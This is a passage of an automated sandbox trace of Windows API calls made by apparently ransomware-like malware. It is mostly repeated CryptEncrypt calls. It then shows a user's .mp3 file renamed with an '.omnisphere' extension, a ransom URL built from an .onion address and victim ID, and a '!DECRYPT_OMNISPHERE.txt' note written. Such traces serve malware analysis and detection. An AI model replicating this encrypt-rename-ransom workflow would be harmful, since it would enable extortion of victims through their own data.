pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.577] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.578] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.579] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.580] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0e618*, pdwDataLen=0x3e0e62c*=0x10) returned 1 [0165.581] CryptDestroyKey (hKey=0x1639868) returned 1 [0165.581] CryptReleaseContext (hProv=0x1668460, dwFlags=0x0) returned 1 [0165.581] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x1739, lpNewFilePointer=0x0, dwMoveMethod=0x3e0ebb0 | out: lpNewFilePointer=0x0) returned 1 [0165.581] WriteFile (in: hFile=0x39c, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0ebc4, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0ebc4*=0x524, lpOverlapped=0x0) returned 1 [0165.581] GetProcessHeap () returned 0x1600000 [0165.581] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x26a) returned 0x1776bd0 [0165.581] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3" (normalized: "c:\\users\\fd1hvy\\desktop\\yfpx0cenv.mp3"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3.omnisphere" (normalized: "c:\\users\\fd1hvy\\desktop\\yfpx0cenv.mp3.omnisphere")) returned 1 [0165.582] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3.omnisphere.id") returned="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3.omnisphere.id" [0165.582] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\desktop\\yfpx0cenv.mp3.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3bc [0165.583] WriteFile (in: hFile=0x3bc, lpBuffer=0x3e0e664*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0e64c, lpOverlapped=0x0 | out: lpBuffer=0x3e0e664*, lpNumberOfBytesWritten=0x3e0e64c*=0x524, lpOverlapped=0x0) returned 1 [0165.584] CloseHandle (hObject=0x3bc) returned 1 [0165.584] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0165.584] CloseHandle (hObject=0x380) returned 1 [0165.584] SetEndOfFile (hFile=0x39c) returned 1 [0165.584] FlushFileBuffers (hFile=0x39c) returned 1 [0165.740] CloseHandle (hObject=0x39c) returned 1 [0165.741] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\Desktop\\yfPx0cEnV.mp3" | out: pszPath="C:\\Users\\FD1HVy\\Desktop") returned 1 [0165.741] GetProcessHeap () returned 0x1600000 [0165.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1776e48 [0165.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0165.741] GetProcessHeap () returned 0x1600000 [0165.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733a90 [0165.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733a90, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0165.741] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0165.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0165.741] GetProcessHeap () returned 0x1600000 [0165.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x174f740 [0165.741] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x174f740, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0165.741] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0165.741] GetProcessHeap () returned 0x1600000 [0165.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x6e) returned 0x1773cb8 [0165.741] PathCombineW (in: pszDest=0x1773cb8, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" [0165.741] GetProcessHeap () returned 0x1600000 [0165.741] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1759d38 [0165.742] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\desktop\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0165.742] WriteFile (in: hFile=0x39c, lpBuffer=0x1759d38*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0ebe4, lpOverlapped=0x0 | out: lpBuffer=0x1759d38*, lpNumberOfBytesWritten=0x3e0ebe4*=0x588, lpOverlapped=0x0) returned 1 [0165.742] CloseHandle (hObject=0x39c) returned 1 [0165.742] GetProcessHeap () returned 0x1600000 [0165.742] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1776e48 | out: hHeap=0x1600000) returned 1 [0165.742] GetProcessHeap () returned 0x1600000 [0165.742] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x64) returned 0x163a730 [0165.742] PathCombineW (in: pszDest=0x163a730, pszDir="C:\\Users\\FD1HVy\\Desktop", pszFile="unique_decrypt.key" | out: 